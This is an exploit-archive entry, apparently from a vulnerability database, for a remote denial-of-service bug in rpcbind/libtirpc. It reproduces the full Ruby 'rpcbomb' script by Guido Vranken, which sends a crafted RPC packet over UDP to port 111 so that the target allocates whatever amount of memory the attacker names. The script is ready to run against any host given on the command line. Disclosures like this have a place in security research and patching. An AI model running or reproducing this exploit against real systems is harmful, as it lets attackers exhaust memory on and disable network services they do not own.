RPCBind / libtirpc Denial Of Service

2017.05.09
Credit: Guido Vranken
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/ruby # # Source: https://raw.githubusercontent.com/guidovranken/rpcbomb/fe53048af2d4fb78c911e71a30f21afcffbbf5e1/rpcbomb.rb # # By Guido Vranken https://guidovranken.wordpress.com/ # Thanks to Sean Verity for writing an exploit in Ruby for an earlier # vulnerability: https://www.exploit-db.com/exploits/26887/ # I've used it as a template. require 'socket' def usage abort "\nusage: ./rpcbomb.rb <target> <# bytes to allocate> [port]\n\n" end bomb = """ ` + # , : @ @ @ @ @ @ @ @ ; . + @ @ @ . @ @ @ @ @ @ @ ` @ @ . ` @ # ; @ @ @ . : @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ; @ @ @ @ @ @ @ @ @ @ @ @ @ ` @ @ @ @ @ @ @ @ @ @ @ @ @ @ : # @ @ @ @ @ @ @ @ @ @ @ @ @ ' @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ . @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ + @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ + @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ : @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ , @ @ @ @ @ @ @ @ @ @ @ @ @ , @ @ @ @ @ @ @ @ @ @ @ ` @ @ @ @ @ @ @ @ @ , @ @ @ @ @ r p c b o m b DoS exploit for *nix rpcbind/libtirpc. (c) 2017 Guido Vranken. https://guidovranken.wordpress.com/ """ puts bomb if ARGV.length >= 2 begin host = ARGV[0] numBytes = Integer(ARGV[1]) port = ARGV.length == 3 ? Integer(ARGV[2]) : 111 rescue usage end pkt = [0].pack('N') # xid pkt << [0].pack('N') # message type CALL pkt << [2].pack('N') # RPC version 2 pkt << [100000].pack('N') # Program pkt << [4].pack('N') # Program version pkt << [9].pack('N') # Procedure pkt << [0].pack('N') # Credentials AUTH_NULL pkt << [0].pack('N') # Credentials length 0 pkt << [0].pack('N') # Credentials AUTH_NULL pkt << [0].pack('N') # Credentials length 0 pkt << [0].pack('N') # Program: 0 pkt << [0].pack('N') # Ver pkt << [4].pack('N') # Proc pkt << [4].pack('N') # Argument length pkt << [numBytes].pack('N') # Payload s = UDPSocket.new s.send(pkt, 0, host, port) sleep 1.5 begin s.recvfrom_nonblock(9000) rescue puts "No response from server received." exit() end puts "Allocated #{numBytes} bytes at host #{host}:#{port}.\n" + "\nDamn it feels good to be a gangster.\n\n" else usage end


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